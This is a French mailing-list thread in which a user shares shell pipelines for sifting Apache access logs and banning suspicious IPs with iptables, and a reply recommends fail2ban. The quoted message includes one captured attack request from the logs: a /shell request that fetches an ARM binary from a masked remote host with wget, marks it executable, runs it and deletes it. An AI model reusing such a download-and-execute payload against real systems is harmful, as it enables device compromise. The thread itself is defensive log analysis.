Re: Analyse de logs apache

Top Page

Reply to this message
Author: Patrice Karatchentzeff
Date:  
To: Olivier Allard-Jacquin
CC: Guilde Mailing list
Subject: Re: Analyse de logs apache
Salut Olivier,

Pour filtrer les gros lourds, j'utilise fail2ban : ça marche bien aussi...

PK


Le lun. 18 avr. 2022 à 20:49, Olivier Allard-Jacquin
<olivieraj@???> a écrit :
>
>         Bonsoir,

>
>         j'ai un petit serveur Apache qui me sert un peu, et qui est connecté à
> Internet.

>
>         L'analyse des logs montre qu'il est régulièrement sollicité par toutes
> sortes d'IP, et que des robots essayent de lui faire faire des trucs pas
> sympa.

>
>         Exemple:
> (gzip -cd /var/log/apache2/access.log*.gz; cat
> /var/log/apache2/access.log)|grep shell

>
> x.x.x.x - - [18/Apr/2022:19:19:43 +0200] "GET
> /shell?cd+/tmp;+wget+http:/\\/y.y.y.y/FKKK/NW_BBB.arm;+chmod+777+NW_BBB.arm;+./NW_BBB.arm
> Jaws.Selfrep;rm+-rf+NW_BBB.arm" 400 493 "-" "-"
>
>         J'ai masqué les IPs, car ce ne sont probablement des bots.

>
>         Trois remarques:
> - ce qui veut être fait est assez clair : télécharger un binaire depuis
> y.y.y.y, et l'exécuter

>
> - à l'extension ".arm", la cible de l'attaque pourrait être un mini-pc
> ou un objet connecté quelconque
>
> - non mais sérieusement : quel est le ###### de développeur qui laisse
> un script appelé "shell", et qui de toute évidence permet de lancer des
> commandes de type unix/linux/posix, sans aucune protection, et ce,
> directement depuis un serveur web ? Sérieux, il y a qui réfléchissent
> lorsqu'ils codent / intègrent ?
>
>         En analysant les requêtes apaches, je me rends compte qu'il y a
> régulièrement des accès qui ciblent des requêtes bien précises, aussi je
> partage ici un peu de bricolage:

>
> # Extrait toutes les requêtes, et renvoi un fichier en 3 colonnes
> (séparés par des tabulations):
> # - IP
> # - Requête
> # - Code HTTP de retour
> https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP#Codes_d'%C3%A9tat :
> Les 2xx ont acceptables, les autres un peu moins voir pas du tout
> #
> # Il y a trois petit filtrages à la fin, afin de retirer:
> # - les requêtes "GET /" et "GET /favicon.ico" qui sont un minimum légitimes
> # - les IP locales
> # - les requêtes qui sont acceptés par la serveur (code HTTP 200)
> (gzip -cd /var/log/apache2/access*.log*.gz; cat
> /var/log/apache2/access*.log.[0-9]; cat /var/log/apache2/access*.log) |
> sed -e 's/^\([0-9\.]\+\) [^]]\+] "\([^"]\+\)"
> \([0-9]\+\).*/\1\t\2\t\3/g' -e '/\tGET \(\/\|\/favicon.ico\)
> HTTP\/[0-9]\.[0-9]/d' -e '/200$/d' -e
> '/^\(192\.168\.[01]\.\|127\.\0\.0\.1\)/d' |sort -u| tee /tmp/analyse-1.txt
>
>         Evidement, l'analyse ci-dessus dépend fortement du format des logs apache:

>
> # grep -ir logformat /etc/apache2/
> /etc/apache2/apache2.conf:LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O
> \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
> /etc/apache2/apache2.conf:LogFormat "%h %l %u %t \"%r\" %>s %O
> \"%{Referer}i\" \"%{User-Agent}i\"" combined
> /etc/apache2/apache2.conf:LogFormat "%h %l %u %t \"%r\" %>s %O" common
> /etc/apache2/apache2.conf:LogFormat "%{Referer}i -> %U" referer
> /etc/apache2/apache2.conf:LogFormat "%{User-agent}i" agent
>
>
> # Inverse les colonnes 1 et 2 dans le fichier ci-dessus, afin de repérer
> plus facilement les accès récurrents
> sed -e 's/^\([^\t]\+\)\t\(.*\)/\2\t\1/g' /tmp/analyse-1.txt| sort -u |
> tee /tmp/analyse-2.txt
>
> # Il reste à faire une analyse manuelle, de ce qui paraît honnête ou
> non, et de supprimer de /tmp/analyse-2.txt ce qui est légitime/
> Grosso-modo, pas grand chose ... :)
>
> # Extrait les adresses IP au comportement suspect
> sed -e 's/.*\t//g' /tmp/analyse-2.txt | sort -u | tee /tmp/analyse-3.txt
>
> # wc -l /tmp/analyse-*
>    1682 /tmp/analyse-1.txt
>    1682 /tmp/analyse-2.txt
>     248 /tmp/analyse-3.txt

>
> => 248 IP à bannir ...
>
> # Après, j'ai un alias maison qui rajoute les IP au filtrage iptables
> for IP in `cat /tmp/analyse-3.txt`; do iptables_filter_add "$IP"; done
>
>         Cordialement,
>                                                 Olivier
> --
> ~~~~~~~  _____/\_____  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> Phoenix /   _ \/ _   \    Olivier Allard-Jacquin
>         /   / \  / \   \   Web:  http://olivieraj.free.fr/
>        /___/  /  \  \___\  Mail: olivieraj@???
> ~~~~ /////  ///\\\  \\\\\ ~~~~~~~~~~~~~~~~~~~~~~~ Linux Powered !!

>



-- 
      |\      _,,,---,,_           Patrice KARATCHENTZEFF
ZZZzz /,`.-'`'    -.  ;-;;,_   mailto:patrice.karatchentzeff@gmail.com
     |,4-  ) )-,_. ,\ (  `'-'
    '---''(_/--'  `-'\_)